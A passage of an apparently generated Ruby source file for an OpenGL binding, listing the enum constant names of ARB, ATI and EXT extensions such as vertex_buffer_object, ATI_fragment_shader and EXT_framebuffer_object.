'GL_VERTEX_BLEND_ARB',
'GL_CURRENT_WEIGHT_ARB',
'GL_WEIGHT_ARRAY_TYPE_ARB',
'GL_WEIGHT_ARRAY_STRIDE_ARB',
'GL_WEIGHT_ARRAY_SIZE_ARB',
'GL_WEIGHT_ARRAY_POINTER_ARB',
'GL_WEIGHT_ARRAY_ARB',
'GL_MODELVIEW0_ARB',
'GL_MODELVIEW1_ARB',
'GL_MODELVIEW2_ARB',
'GL_MODELVIEW3_ARB',
'GL_MODELVIEW4_ARB',
'GL_MODELVIEW5_ARB',
'GL_MODELVIEW6_ARB',
'GL_MODELVIEW7_ARB',
'GL_MODELVIEW8_ARB',
'GL_MODELVIEW9_ARB',
'GL_MODELVIEW10_ARB',
'GL_MODELVIEW11_ARB',
'GL_MODELVIEW12_ARB',
'GL_MODELVIEW13_ARB',
'GL_MODELVIEW14_ARB',
'GL_MODELVIEW15_ARB',
'GL_MODELVIEW16_ARB',
'GL_MODELVIEW17_ARB',
'GL_MODELVIEW18_ARB',
'GL_MODELVIEW19_ARB',
'GL_MODELVIEW20_ARB',
'GL_MODELVIEW21_ARB',
'GL_MODELVIEW22_ARB',
'GL_MODELVIEW23_ARB',
'GL_MODELVIEW24_ARB',
'GL_MODELVIEW25_ARB',
'GL_MODELVIEW26_ARB',
'GL_MODELVIEW27_ARB',
'GL_MODELVIEW28_ARB',
'GL_MODELVIEW29_ARB',
'GL_MODELVIEW30_ARB',
'GL_MODELVIEW31_ARB',
]
end # self.get_ext_enum_GL_ARB_vertex_blend
def self.get_ext_enum_GL_ARB_vertex_buffer_object
[
'GL_BUFFER_SIZE_ARB',
'GL_BUFFER_USAGE_ARB',
'GL_ARRAY_BUFFER_ARB',
'GL_ELEMENT_ARRAY_BUFFER_ARB',
'GL_ARRAY_BUFFER_BINDING_ARB',
'GL_ELEMENT_ARRAY_BUFFER_BINDING_ARB',
'GL_VERTEX_ARRAY_BUFFER_BINDING_ARB',
'GL_NORMAL_ARRAY_BUFFER_BINDING_ARB',
'GL_COLOR_ARRAY_BUFFER_BINDING_ARB',
'GL_INDEX_ARRAY_BUFFER_BINDING_ARB',
'GL_TEXTURE_COORD_ARRAY_BUFFER_BINDING_ARB',
'GL_EDGE_FLAG_ARRAY_BUFFER_BINDING_ARB',
'GL_SECONDARY_COLOR_ARRAY_BUFFER_BINDING_ARB',
'GL_FOG_COORDINATE_ARRAY_BUFFER_BINDING_ARB',
'GL_WEIGHT_ARRAY_BUFFER_BINDING_ARB',
'GL_VERTEX_ATTRIB_ARRAY_BUFFER_BINDING_ARB',
'GL_READ_ONLY_ARB',
'GL_WRITE_ONLY_ARB',
'GL_READ_WRITE_ARB',
'GL_BUFFER_ACCESS_ARB',
'GL_BUFFER_MAPPED_ARB',
'GL_BUFFER_MAP_POINTER_ARB',
'GL_STREAM_DRAW_ARB',
'GL_STREAM_READ_ARB',
'GL_STREAM_COPY_ARB',
'GL_STATIC_DRAW_ARB',
'GL_STATIC_READ_ARB',
'GL_STATIC_COPY_ARB',
'GL_DYNAMIC_DRAW_ARB',
'GL_DYNAMIC_READ_ARB',
'GL_DYNAMIC_COPY_ARB',
]
end # self.get_ext_enum_GL_ARB_vertex_buffer_object
def self.get_ext_enum_GL_ARB_vertex_program
[
'GL_COLOR_SUM_ARB',
'GL_VERTEX_PROGRAM_ARB',
'GL_VERTEX_ATTRIB_ARRAY_ENABLED_ARB',
'GL_VERTEX_ATTRIB_ARRAY_SIZE_ARB',
'GL_VERTEX_ATTRIB_ARRAY_STRIDE_ARB',
'GL_VERTEX_ATTRIB_ARRAY_TYPE_ARB',
'GL_CURRENT_VERTEX_ATTRIB_ARB',
'GL_PROGRAM_LENGTH_ARB',
'GL_PROGRAM_STRING_ARB',
'GL_MAX_PROGRAM_MATRIX_STACK_DEPTH_ARB',
'GL_MAX_PROGRAM_MATRICES_ARB',
'GL_CURRENT_MATRIX_STACK_DEPTH_ARB',
'GL_CURRENT_MATRIX_ARB',
'GL_VERTEX_PROGRAM_POINT_SIZE_ARB',
'GL_VERTEX_PROGRAM_TWO_SIDE_ARB',
'GL_VERTEX_ATTRIB_ARRAY_POINTER_ARB',
'GL_PROGRAM_ERROR_POSITION_ARB',
'GL_PROGRAM_BINDING_ARB',
'GL_MAX_VERTEX_ATTRIBS_ARB',
'GL_VERTEX_ATTRIB_ARRAY_NORMALIZED_ARB',
'GL_PROGRAM_ERROR_STRING_ARB',
'GL_PROGRAM_FORMAT_ASCII_ARB',
'GL_PROGRAM_FORMAT_ARB',
'GL_PROGRAM_INSTRUCTIONS_ARB',
'GL_MAX_PROGRAM_INSTRUCTIONS_ARB',
'GL_PROGRAM_NATIVE_INSTRUCTIONS_ARB',
'GL_MAX_PROGRAM_NATIVE_INSTRUCTIONS_ARB',
'GL_PROGRAM_TEMPORARIES_ARB',
'GL_MAX_PROGRAM_TEMPORARIES_ARB',
'GL_PROGRAM_NATIVE_TEMPORARIES_ARB',
'GL_MAX_PROGRAM_NATIVE_TEMPORARIES_ARB',
'GL_PROGRAM_PARAMETERS_ARB',
'GL_MAX_PROGRAM_PARAMETERS_ARB',
'GL_PROGRAM_NATIVE_PARAMETERS_ARB',
'GL_MAX_PROGRAM_NATIVE_PARAMETERS_ARB',
'GL_PROGRAM_ATTRIBS_ARB',
'GL_MAX_PROGRAM_ATTRIBS_ARB',
'GL_PROGRAM_NATIVE_ATTRIBS_ARB',
'GL_MAX_PROGRAM_NATIVE_ATTRIBS_ARB',
'GL_PROGRAM_ADDRESS_REGISTERS_ARB',
'GL_MAX_PROGRAM_ADDRESS_REGISTERS_ARB',
'GL_PROGRAM_NATIVE_ADDRESS_REGISTERS_ARB',
'GL_MAX_PROGRAM_NATIVE_ADDRESS_REGISTERS_ARB',
'GL_MAX_PROGRAM_LOCAL_PARAMETERS_ARB',
'GL_MAX_PROGRAM_ENV_PARAMETERS_ARB',
'GL_PROGRAM_UNDER_NATIVE_LIMITS_ARB',
'GL_TRANSPOSE_CURRENT_MATRIX_ARB',
'GL_MATRIX0_ARB',
'GL_MATRIX1_ARB',
'GL_MATRIX2_ARB',
'GL_MATRIX3_ARB',
'GL_MATRIX4_ARB',
'GL_MATRIX5_ARB',
'GL_MATRIX6_ARB',
'GL_MATRIX7_ARB',
'GL_MATRIX8_ARB',
'GL_MATRIX9_ARB',
'GL_MATRIX10_ARB',
'GL_MATRIX11_ARB',
'GL_MATRIX12_ARB',
'GL_MATRIX13_ARB',
'GL_MATRIX14_ARB',
'GL_MATRIX15_ARB',
'GL_MATRIX16_ARB',
'GL_MATRIX17_ARB',
'GL_MATRIX18_ARB',
'GL_MATRIX19_ARB',
'GL_MATRIX20_ARB',
'GL_MATRIX21_ARB',
'GL_MATRIX22_ARB',
'GL_MATRIX23_ARB',
'GL_MATRIX24_ARB',
'GL_MATRIX25_ARB',
'GL_MATRIX26_ARB',
'GL_MATRIX27_ARB',
'GL_MATRIX28_ARB',
'GL_MATRIX29_ARB',
'GL_MATRIX30_ARB',
'GL_MATRIX31_ARB',
]
end # self.get_ext_enum_GL_ARB_vertex_program
def self.get_ext_enum_GL_ARB_vertex_shader
[
'GL_VERTEX_SHADER_ARB',
'GL_MAX_VERTEX_UNIFORM_COMPONENTS_ARB',
'GL_MAX_VARYING_FLOATS_ARB',
'GL_MAX_VERTEX_TEXTURE_IMAGE_UNITS_ARB',
'GL_MAX_COMBINED_TEXTURE_IMAGE_UNITS_ARB',
'GL_OBJECT_ACTIVE_ATTRIBUTES_ARB',
'GL_OBJECT_ACTIVE_ATTRIBUTE_MAX_LENGTH_ARB',
'GL_MAX_VERTEX_ATTRIBS_ARB',
'GL_MAX_TEXTURE_IMAGE_UNITS_ARB',
'GL_MAX_TEXTURE_COORDS_ARB',
'GL_VERTEX_PROGRAM_POINT_SIZE_ARB',
'GL_VERTEX_PROGRAM_TWO_SIDE_ARB',
'GL_VERTEX_ATTRIB_ARRAY_ENABLED_ARB',
'GL_VERTEX_ATTRIB_ARRAY_SIZE_ARB',
'GL_VERTEX_ATTRIB_ARRAY_STRIDE_ARB',
'GL_VERTEX_ATTRIB_ARRAY_TYPE_ARB',
'GL_VERTEX_ATTRIB_ARRAY_NORMALIZED_ARB',
'GL_CURRENT_VERTEX_ATTRIB_ARB',
'GL_VERTEX_ATTRIB_ARRAY_POINTER_ARB',
'GL_FLOAT',
'GL_FLOAT_VEC2_ARB',
'GL_FLOAT_VEC3_ARB',
'GL_FLOAT_VEC4_ARB',
'GL_FLOAT_MAT2_ARB',
'GL_FLOAT_MAT3_ARB',
'GL_FLOAT_MAT4_ARB',
]
end # self.get_ext_enum_GL_ARB_vertex_shader
def self.get_ext_enum_GL_ARB_vertex_type_10f_11f_11f_rev
[
'GL_UNSIGNED_INT_10F_11F_11F_REV',
]
end # self.get_ext_enum_GL_ARB_vertex_type_10f_11f_11f_rev
def self.get_ext_enum_GL_ARB_vertex_type_2_10_10_10_rev
[
'GL_UNSIGNED_INT_2_10_10_10_REV',
'GL_INT_2_10_10_10_REV',
]
end # self.get_ext_enum_GL_ARB_vertex_type_2_10_10_10_rev
def self.get_ext_enum_GL_ARB_viewport_array
[
'GL_SCISSOR_BOX',
'GL_VIEWPORT',
'GL_DEPTH_RANGE',
'GL_SCISSOR_TEST',
'GL_MAX_VIEWPORTS',
'GL_VIEWPORT_SUBPIXEL_BITS',
'GL_VIEWPORT_BOUNDS_RANGE',
'GL_LAYER_PROVOKING_VERTEX',
'GL_VIEWPORT_INDEX_PROVOKING_VERTEX',
'GL_UNDEFINED_VERTEX',
'GL_FIRST_VERTEX_CONVENTION',
'GL_LAST_VERTEX_CONVENTION',
'GL_PROVOKING_VERTEX',
]
end # self.get_ext_enum_GL_ARB_viewport_array
def self.get_ext_enum_GL_ARB_window_pos
[
]
end # self.get_ext_enum_GL_ARB_window_pos
def self.get_ext_enum_GL_ATI_draw_buffers
[
'GL_MAX_DRAW_BUFFERS_ATI',
'GL_DRAW_BUFFER0_ATI',
'GL_DRAW_BUFFER1_ATI',
'GL_DRAW_BUFFER2_ATI',
'GL_DRAW_BUFFER3_ATI',
'GL_DRAW_BUFFER4_ATI',
'GL_DRAW_BUFFER5_ATI',
'GL_DRAW_BUFFER6_ATI',
'GL_DRAW_BUFFER7_ATI',
'GL_DRAW_BUFFER8_ATI',
'GL_DRAW_BUFFER9_ATI',
'GL_DRAW_BUFFER10_ATI',
'GL_DRAW_BUFFER11_ATI',
'GL_DRAW_BUFFER12_ATI',
'GL_DRAW_BUFFER13_ATI',
'GL_DRAW_BUFFER14_ATI',
'GL_DRAW_BUFFER15_ATI',
]
end # self.get_ext_enum_GL_ATI_draw_buffers
def self.get_ext_enum_GL_ATI_element_array
[
'GL_ELEMENT_ARRAY_ATI',
'GL_ELEMENT_ARRAY_TYPE_ATI',
'GL_ELEMENT_ARRAY_POINTER_ATI',
]
end # self.get_ext_enum_GL_ATI_element_array
def self.get_ext_enum_GL_ATI_envmap_bumpmap
[
'GL_BUMP_ROT_MATRIX_ATI',
'GL_BUMP_ROT_MATRIX_SIZE_ATI',
'GL_BUMP_NUM_TEX_UNITS_ATI',
'GL_BUMP_TEX_UNITS_ATI',
'GL_DUDV_ATI',
'GL_DU8DV8_ATI',
'GL_BUMP_ENVMAP_ATI',
'GL_BUMP_TARGET_ATI',
]
end # self.get_ext_enum_GL_ATI_envmap_bumpmap
def self.get_ext_enum_GL_ATI_fragment_shader
[
'GL_FRAGMENT_SHADER_ATI',
'GL_REG_0_ATI',
'GL_REG_1_ATI',
'GL_REG_2_ATI',
'GL_REG_3_ATI',
'GL_REG_4_ATI',
'GL_REG_5_ATI',
'GL_REG_6_ATI',
'GL_REG_7_ATI',
'GL_REG_8_ATI',
'GL_REG_9_ATI',
'GL_REG_10_ATI',
'GL_REG_11_ATI',
'GL_REG_12_ATI',
'GL_REG_13_ATI',
'GL_REG_14_ATI',
'GL_REG_15_ATI',
'GL_REG_16_ATI',
'GL_REG_17_ATI',
'GL_REG_18_ATI',
'GL_REG_19_ATI',
'GL_REG_20_ATI',
'GL_REG_21_ATI',
'GL_REG_22_ATI',
'GL_REG_23_ATI',
'GL_REG_24_ATI',
'GL_REG_25_ATI',
'GL_REG_26_ATI',
'GL_REG_27_ATI',
'GL_REG_28_ATI',
'GL_REG_29_ATI',
'GL_REG_30_ATI',
'GL_REG_31_ATI',
'GL_CON_0_ATI',
'GL_CON_1_ATI',
'GL_CON_2_ATI',
'GL_CON_3_ATI',
'GL_CON_4_ATI',
'GL_CON_5_ATI',
'GL_CON_6_ATI',
'GL_CON_7_ATI',
'GL_CON_8_ATI',
'GL_CON_9_ATI',
'GL_CON_10_ATI',
'GL_CON_11_ATI',
'GL_CON_12_ATI',
'GL_CON_13_ATI',
'GL_CON_14_ATI',
'GL_CON_15_ATI',
'GL_CON_16_ATI',
'GL_CON_17_ATI',
'GL_CON_18_ATI',
'GL_CON_19_ATI',
'GL_CON_20_ATI',
'GL_CON_21_ATI',
'GL_CON_22_ATI',
'GL_CON_23_ATI',
'GL_CON_24_ATI',
'GL_CON_25_ATI',
'GL_CON_26_ATI',
'GL_CON_27_ATI',
'GL_CON_28_ATI',
'GL_CON_29_ATI',
'GL_CON_30_ATI',
'GL_CON_31_ATI',
'GL_MOV_ATI',
'GL_ADD_ATI',
'GL_MUL_ATI',
'GL_SUB_ATI',
'GL_DOT3_ATI',
'GL_DOT4_ATI',
'GL_MAD_ATI',
'GL_LERP_ATI',
'GL_CND_ATI',
'GL_CND0_ATI',
'GL_DOT2_ADD_ATI',
'GL_SECONDARY_INTERPOLATOR_ATI',
'GL_NUM_FRAGMENT_REGISTERS_ATI',
'GL_NUM_FRAGMENT_CONSTANTS_ATI',
'GL_NUM_PASSES_ATI',
'GL_NUM_INSTRUCTIONS_PER_PASS_ATI',
'GL_NUM_INSTRUCTIONS_TOTAL_ATI',
'GL_NUM_INPUT_INTERPOLATOR_COMPONENTS_ATI',
'GL_NUM_LOOPBACK_COMPONENTS_ATI',
'GL_COLOR_ALPHA_PAIRING_ATI',
'GL_SWIZZLE_STR_ATI',
'GL_SWIZZLE_STQ_ATI',
'GL_SWIZZLE_STR_DR_ATI',
'GL_SWIZZLE_STQ_DQ_ATI',
'GL_SWIZZLE_STRQ_ATI',
'GL_SWIZZLE_STRQ_DQ_ATI',
'GL_RED_BIT_ATI',
'GL_GREEN_BIT_ATI',
'GL_BLUE_BIT_ATI',
'GL_2X_BIT_ATI',
'GL_4X_BIT_ATI',
'GL_8X_BIT_ATI',
'GL_HALF_BIT_ATI',
'GL_QUARTER_BIT_ATI',
'GL_EIGHTH_BIT_ATI',
'GL_SATURATE_BIT_ATI',
'GL_COMP_BIT_ATI',
'GL_NEGATE_BIT_ATI',
'GL_BIAS_BIT_ATI',
]
end # self.get_ext_enum_GL_ATI_fragment_shader
def self.get_ext_enum_GL_ATI_map_object_buffer
[
]
end # self.get_ext_enum_GL_ATI_map_object_buffer
def self.get_ext_enum_GL_ATI_meminfo
[
'GL_VBO_FREE_MEMORY_ATI',
'GL_TEXTURE_FREE_MEMORY_ATI',
'GL_RENDERBUFFER_FREE_MEMORY_ATI',
]
end # self.get_ext_enum_GL_ATI_meminfo
def self.get_ext_enum_GL_ATI_pixel_format_float
[
'GL_RGBA_FLOAT_MODE_ATI',
'GL_COLOR_CLEAR_UNCLAMPED_VALUE_ATI',
]
end # self.get_ext_enum_GL_ATI_pixel_format_float
def self.get_ext_enum_GL_ATI_pn_triangles
[
'GL_PN_TRIANGLES_ATI',
'GL_MAX_PN_TRIANGLES_TESSELATION_LEVEL_ATI',
'GL_PN_TRIANGLES_POINT_MODE_ATI',
'GL_PN_TRIANGLES_NORMAL_MODE_ATI',
'GL_PN_TRIANGLES_TESSELATION_LEVEL_ATI',
'GL_PN_TRIANGLES_POINT_MODE_LINEAR_ATI',
'GL_PN_TRIANGLES_POINT_MODE_CUBIC_ATI',
'GL_PN_TRIANGLES_NORMAL_MODE_LINEAR_ATI',
'GL_PN_TRIANGLES_NORMAL_MODE_QUADRATIC_ATI',
]
end # self.get_ext_enum_GL_ATI_pn_triangles
def self.get_ext_enum_GL_ATI_separate_stencil
[
'GL_STENCIL_BACK_FUNC_ATI',
'GL_STENCIL_BACK_FAIL_ATI',
'GL_STENCIL_BACK_PASS_DEPTH_FAIL_ATI',
'GL_STENCIL_BACK_PASS_DEPTH_PASS_ATI',
]
end # self.get_ext_enum_GL_ATI_separate_stencil
def self.get_ext_enum_GL_ATI_text_fragment_shader
[
'GL_TEXT_FRAGMENT_SHADER_ATI',
]
end # self.get_ext_enum_GL_ATI_text_fragment_shader
def self.get_ext_enum_GL_ATI_texture_env_combine3
[
'GL_MODULATE_ADD_ATI',
'GL_MODULATE_SIGNED_ADD_ATI',
'GL_MODULATE_SUBTRACT_ATI',
]
end # self.get_ext_enum_GL_ATI_texture_env_combine3
def self.get_ext_enum_GL_ATI_texture_float
[
'GL_RGBA_FLOAT32_ATI',
'GL_RGB_FLOAT32_ATI',
'GL_ALPHA_FLOAT32_ATI',
'GL_INTENSITY_FLOAT32_ATI',
'GL_LUMINANCE_FLOAT32_ATI',
'GL_LUMINANCE_ALPHA_FLOAT32_ATI',
'GL_RGBA_FLOAT16_ATI',
'GL_RGB_FLOAT16_ATI',
'GL_ALPHA_FLOAT16_ATI',
'GL_INTENSITY_FLOAT16_ATI',
'GL_LUMINANCE_FLOAT16_ATI',
'GL_LUMINANCE_ALPHA_FLOAT16_ATI',
]
end # self.get_ext_enum_GL_ATI_texture_float
def self.get_ext_enum_GL_ATI_texture_mirror_once
[
'GL_MIRROR_CLAMP_ATI',
'GL_MIRROR_CLAMP_TO_EDGE_ATI',
]
end # self.get_ext_enum_GL_ATI_texture_mirror_once
def self.get_ext_enum_GL_ATI_vertex_array_object
[
'GL_STATIC_ATI',
'GL_DYNAMIC_ATI',
'GL_PRESERVE_ATI',
'GL_DISCARD_ATI',
'GL_OBJECT_BUFFER_SIZE_ATI',
'GL_OBJECT_BUFFER_USAGE_ATI',
'GL_ARRAY_OBJECT_BUFFER_ATI',
'GL_ARRAY_OBJECT_OFFSET_ATI',
]
end # self.get_ext_enum_GL_ATI_vertex_array_object
def self.get_ext_enum_GL_ATI_vertex_attrib_array_object
[
]
end # self.get_ext_enum_GL_ATI_vertex_attrib_array_object
def self.get_ext_enum_GL_ATI_vertex_streams
[
'GL_MAX_VERTEX_STREAMS_ATI',
'GL_VERTEX_STREAM0_ATI',
'GL_VERTEX_STREAM1_ATI',
'GL_VERTEX_STREAM2_ATI',
'GL_VERTEX_STREAM3_ATI',
'GL_VERTEX_STREAM4_ATI',
'GL_VERTEX_STREAM5_ATI',
'GL_VERTEX_STREAM6_ATI',
'GL_VERTEX_STREAM7_ATI',
'GL_VERTEX_SOURCE_ATI',
]
end # self.get_ext_enum_GL_ATI_vertex_streams
def self.get_ext_enum_GL_EXT_422_pixels
[
'GL_422_EXT',
'GL_422_REV_EXT',
'GL_422_AVERAGE_EXT',
'GL_422_REV_AVERAGE_EXT',
]
end # self.get_ext_enum_GL_EXT_422_pixels
def self.get_ext_enum_GL_EXT_abgr
[
'GL_ABGR_EXT',
]
end # self.get_ext_enum_GL_EXT_abgr
def self.get_ext_enum_GL_EXT_bgra
[
'GL_BGR_EXT',
'GL_BGRA_EXT',
]
end # self.get_ext_enum_GL_EXT_bgra
def self.get_ext_enum_GL_EXT_bindable_uniform
[
'GL_MAX_VERTEX_BINDABLE_UNIFORMS_EXT',
'GL_MAX_FRAGMENT_BINDABLE_UNIFORMS_EXT',
'GL_MAX_GEOMETRY_BINDABLE_UNIFORMS_EXT',
'GL_MAX_BINDABLE_UNIFORM_SIZE_EXT',
'GL_UNIFORM_BUFFER_EXT',
'GL_UNIFORM_BUFFER_BINDING_EXT',
]
end # self.get_ext_enum_GL_EXT_bindable_uniform
def self.get_ext_enum_GL_EXT_blend_color
[
'GL_CONSTANT_COLOR_EXT',
'GL_ONE_MINUS_CONSTANT_COLOR_EXT',
'GL_CONSTANT_ALPHA_EXT',
'GL_ONE_MINUS_CONSTANT_ALPHA_EXT',
'GL_BLEND_COLOR_EXT',
]
end # self.get_ext_enum_GL_EXT_blend_color
def self.get_ext_enum_GL_EXT_blend_equation_separate
[
'GL_BLEND_EQUATION_RGB_EXT',
'GL_BLEND_EQUATION_ALPHA_EXT',
]
end # self.get_ext_enum_GL_EXT_blend_equation_separate
def self.get_ext_enum_GL_EXT_blend_func_separate
[
'GL_BLEND_DST_RGB_EXT',
'GL_BLEND_SRC_RGB_EXT',
'GL_BLEND_DST_ALPHA_EXT',
'GL_BLEND_SRC_ALPHA_EXT',
]
end # self.get_ext_enum_GL_EXT_blend_func_separate
def self.get_ext_enum_GL_EXT_blend_logic_op
[
]
end # self.get_ext_enum_GL_EXT_blend_logic_op
def self.get_ext_enum_GL_EXT_blend_minmax
[
'GL_MIN_EXT',
'GL_MAX_EXT',
'GL_FUNC_ADD_EXT',
'GL_BLEND_EQUATION_EXT',
]
end # self.get_ext_enum_GL_EXT_blend_minmax
def self.get_ext_enum_GL_EXT_blend_subtract
[
'GL_FUNC_SUBTRACT_EXT',
'GL_FUNC_REVERSE_SUBTRACT_EXT',
]
end # self.get_ext_enum_GL_EXT_blend_subtract
def self.get_ext_enum_GL_EXT_clip_volume_hint
[
'GL_CLIP_VOLUME_CLIPPING_HINT_EXT',
]
end # self.get_ext_enum_GL_EXT_clip_volume_hint
def self.get_ext_enum_GL_EXT_cmyka
[
'GL_CMYK_EXT',
'GL_CMYKA_EXT',
'GL_PACK_CMYK_HINT_EXT',
'GL_UNPACK_CMYK_HINT_EXT',
]
end # self.get_ext_enum_GL_EXT_cmyka
def self.get_ext_enum_GL_EXT_color_subtable
[
]
end # self.get_ext_enum_GL_EXT_color_subtable
def self.get_ext_enum_GL_EXT_compiled_vertex_array
[
'GL_ARRAY_ELEMENT_LOCK_FIRST_EXT',
'GL_ARRAY_ELEMENT_LOCK_COUNT_EXT',
]
end # self.get_ext_enum_GL_EXT_compiled_vertex_array
def self.get_ext_enum_GL_EXT_convolution
[
'GL_CONVOLUTION_1D_EXT',
'GL_CONVOLUTION_2D_EXT',
'GL_SEPARABLE_2D_EXT',
'GL_CONVOLUTION_BORDER_MODE_EXT',
'GL_CONVOLUTION_FILTER_SCALE_EXT',
'GL_CONVOLUTION_FILTER_BIAS_EXT',
'GL_REDUCE_EXT',
'GL_CONVOLUTION_FORMAT_EXT',
'GL_CONVOLUTION_WIDTH_EXT',
'GL_CONVOLUTION_HEIGHT_EXT',
'GL_MAX_CONVOLUTION_WIDTH_EXT',
'GL_MAX_CONVOLUTION_HEIGHT_EXT',
'GL_POST_CONVOLUTION_RED_SCALE_EXT',
'GL_POST_CONVOLUTION_GREEN_SCALE_EXT',
'GL_POST_CONVOLUTION_BLUE_SCALE_EXT',
'GL_POST_CONVOLUTION_ALPHA_SCALE_EXT',
'GL_POST_CONVOLUTION_RED_BIAS_EXT',
'GL_POST_CONVOLUTION_GREEN_BIAS_EXT',
'GL_POST_CONVOLUTION_BLUE_BIAS_EXT',
'GL_POST_CONVOLUTION_ALPHA_BIAS_EXT',
]
end # self.get_ext_enum_GL_EXT_convolution
def self.get_ext_enum_GL_EXT_coordinate_frame
[
'GL_TANGENT_ARRAY_EXT',
'GL_BINORMAL_ARRAY_EXT',
'GL_CURRENT_TANGENT_EXT',
'GL_CURRENT_BINORMAL_EXT',
'GL_TANGENT_ARRAY_TYPE_EXT',
'GL_TANGENT_ARRAY_STRIDE_EXT',
'GL_BINORMAL_ARRAY_TYPE_EXT',
'GL_BINORMAL_ARRAY_STRIDE_EXT',
'GL_TANGENT_ARRAY_POINTER_EXT',
'GL_BINORMAL_ARRAY_POINTER_EXT',
'GL_MAP1_TANGENT_EXT',
'GL_MAP2_TANGENT_EXT',
'GL_MAP1_BINORMAL_EXT',
'GL_MAP2_BINORMAL_EXT',
]
end # self.get_ext_enum_GL_EXT_coordinate_frame
def self.get_ext_enum_GL_EXT_copy_texture
[
]
end # self.get_ext_enum_GL_EXT_copy_texture
def self.get_ext_enum_GL_EXT_cull_vertex
[
'GL_CULL_VERTEX_EXT',
'GL_CULL_VERTEX_EYE_POSITION_EXT',
'GL_CULL_VERTEX_OBJECT_POSITION_EXT',
]
end # self.get_ext_enum_GL_EXT_cull_vertex
def self.get_ext_enum_GL_EXT_debug_label
[
'GL_PROGRAM_PIPELINE_OBJECT_EXT',
'GL_PROGRAM_OBJECT_EXT',
'GL_SHADER_OBJECT_EXT',
'GL_BUFFER_OBJECT_EXT',
'GL_QUERY_OBJECT_EXT',
'GL_VERTEX_ARRAY_OBJECT_EXT',
'GL_SAMPLER',
'GL_TRANSFORM_FEEDBACK',
]
end # self.get_ext_enum_GL_EXT_debug_label
def self.get_ext_enum_GL_EXT_debug_marker
[
]
end # self.get_ext_enum_GL_EXT_debug_marker
def self.get_ext_enum_GL_EXT_depth_bounds_test
[
'GL_DEPTH_BOUNDS_TEST_EXT',
'GL_DEPTH_BOUNDS_EXT',
]
end # self.get_ext_enum_GL_EXT_depth_bounds_test
def self.get_ext_enum_GL_EXT_direct_state_access
[
'GL_PROGRAM_MATRIX_EXT',
'GL_TRANSPOSE_PROGRAM_MATRIX_EXT',
'GL_PROGRAM_MATRIX_STACK_DEPTH_EXT',
]
end # self.get_ext_enum_GL_EXT_direct_state_access
def self.get_ext_enum_GL_EXT_draw_buffers2
[
]
end # self.get_ext_enum_GL_EXT_draw_buffers2
def self.get_ext_enum_GL_EXT_draw_instanced
[
]
end # self.get_ext_enum_GL_EXT_draw_instanced
def self.get_ext_enum_GL_EXT_draw_range_elements
[
'GL_MAX_ELEMENTS_VERTICES_EXT',
'GL_MAX_ELEMENTS_INDICES_EXT',
]
end # self.get_ext_enum_GL_EXT_draw_range_elements
def self.get_ext_enum_GL_EXT_fog_coord
[
'GL_FOG_COORDINATE_SOURCE_EXT',
'GL_FOG_COORDINATE_EXT',
'GL_FRAGMENT_DEPTH_EXT',
'GL_CURRENT_FOG_COORDINATE_EXT',
'GL_FOG_COORDINATE_ARRAY_TYPE_EXT',
'GL_FOG_COORDINATE_ARRAY_STRIDE_EXT',
'GL_FOG_COORDINATE_ARRAY_POINTER_EXT',
'GL_FOG_COORDINATE_ARRAY_EXT',
]
end # self.get_ext_enum_GL_EXT_fog_coord
def self.get_ext_enum_GL_EXT_framebuffer_blit
[
'GL_READ_FRAMEBUFFER_EXT',
'GL_DRAW_FRAMEBUFFER_EXT',
'GL_DRAW_FRAMEBUFFER_BINDING_EXT',
'GL_READ_FRAMEBUFFER_BINDING_EXT',
]
end # self.get_ext_enum_GL_EXT_framebuffer_blit
def self.get_ext_enum_GL_EXT_framebuffer_multisample
[
'GL_RENDERBUFFER_SAMPLES_EXT',
'GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE_EXT',
'GL_MAX_SAMPLES_EXT',
]
end # self.get_ext_enum_GL_EXT_framebuffer_multisample
def self.get_ext_enum_GL_EXT_framebuffer_multisample_blit_scaled
[
'GL_SCALED_RESOLVE_FASTEST_EXT',
'GL_SCALED_RESOLVE_NICEST_EXT',
]
end # self.get_ext_enum_GL_EXT_framebuffer_multisample_blit_scaled
def self.get_ext_enum_GL_EXT_framebuffer_object
[
'GL_INVALID_FRAMEBUFFER_OPERATION_EXT',
'GL_MAX_RENDERBUFFER_SIZE_EXT',
'GL_FRAMEBUFFER_BINDING_EXT',
'GL_RENDERBUFFER_BINDING_EXT',
'GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE_EXT',
'GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME_EXT',
'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL_EXT',
'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE_EXT',
'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_3D_ZOFFSET_EXT',
'GL_FRAMEBUFFER_COMPLETE_EXT',
'GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT_EXT',
'GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT_EXT',
'GL_FRAMEBUFFER_INCOMPLETE_DIMENSIONS_EXT',
'GL_FRAMEBUFFER_INCOMPLETE_FORMATS_EXT',
'GL_FRAMEBUFFER_INCOMPLETE_DRAW_BUFFER_EXT',
'GL_FRAMEBUFFER_INCOMPLETE_READ_BUFFER_EXT',
'GL_FRAMEBUFFER_UNSUPPORTED_EXT',
'GL_MAX_COLOR_ATTACHMENTS_EXT',
'GL_COLOR_ATTACHMENT0_EXT',
'GL_COLOR_ATTACHMENT1_EXT',
'GL_COLOR_ATTACHMENT2_EXT',
'GL_COLOR_ATTACHMENT3_EXT',
'GL_COLOR_ATTACHMENT4_EXT',
'GL_COLOR_ATTACHMENT5_EXT',
'GL_COLOR_ATTACHMENT6_EXT',
'GL_COLOR_ATTACHMENT7_EXT',
'GL_COLOR_ATTACHMENT8_EXT',
'GL_COLOR_ATTACHMENT9_EXT',
'GL_COLOR_ATTACHMENT10_EXT',
'GL_COLOR_ATTACHMENT11_EXT',
'GL_COLOR_ATTACHMENT12_EXT',
'GL_COLOR_ATTACHMENT13_EXT',
'GL_COLOR_ATTACHMENT14_EXT',
'GL_COLOR_ATTACHMENT15_EXT',
'GL_DEPTH_ATTACHMENT_EXT',
'GL_STENCIL_ATTACHMENT_EXT',
'GL_FRAMEBUFFER_EXT',
'GL_RENDERBUFFER_EXT',
'GL_RENDERBUFFER_WIDTH_EXT',
'GL_RENDERBUFFER_HEIGHT_EXT',
'GL_RENDERBUFFER_INTERNAL_FORMAT_EXT',
'GL_STENCIL_INDEX1_EXT',
'GL_STENCIL_INDEX4_EXT',
'GL_STENCIL_INDEX8_EXT',
